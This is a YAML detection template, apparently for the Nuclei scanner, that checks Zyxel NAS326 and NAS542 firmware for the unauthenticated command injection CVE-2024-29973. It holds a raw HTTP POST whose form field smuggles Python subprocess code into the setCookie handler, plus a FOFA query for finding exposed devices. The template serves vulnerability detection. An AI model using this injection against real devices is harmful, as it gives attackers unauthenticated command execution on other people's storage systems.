52 lines
2.0 KiB
YAML
52 lines
2.0 KiB
YAML
id: CVE-2024-29973
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info:
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name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
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author: ritikchaddha
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severity: critical
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description: |
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The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
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reference:
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- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
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- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
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- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.88
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cve-id: CVE-2024-29973
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cwe-id: CWE-78
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epss-score: 0.96901
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epss-percentile: 0.9971
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cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: zyxel
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product: nas326_firmware
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fofa-query: app="ZYXEL-NAS326"
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tags: cve,cve2024,zyxel,rce,intrusive
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variables:
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string: "{{randstr}}"
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http:
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- raw:
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- |
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POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
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------WebKitFormBoundarygcflwtei
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Content-Disposition: form-data; name="c0"
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storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
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------WebKitFormBoundarygcflwtei--
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matchers:
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- type: dsl
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dsl:
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- "status_code == 200"
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- "contains(body, 'errmsg0\": \"OK')"
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- "contains(header, 'application/json')"
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- "contains(body, '{{string}}')"
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condition: and
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# digest: 490a00463044022049181be120d1349aec1b0334e173bea723ccde8f661094dd301df6a3934e0cce022047da4d0360d5e747e56c1bf4518b1de78d04716a4170e162b3f5c2d65f5df088:922c64590222798bb761d5b6d8e72950 |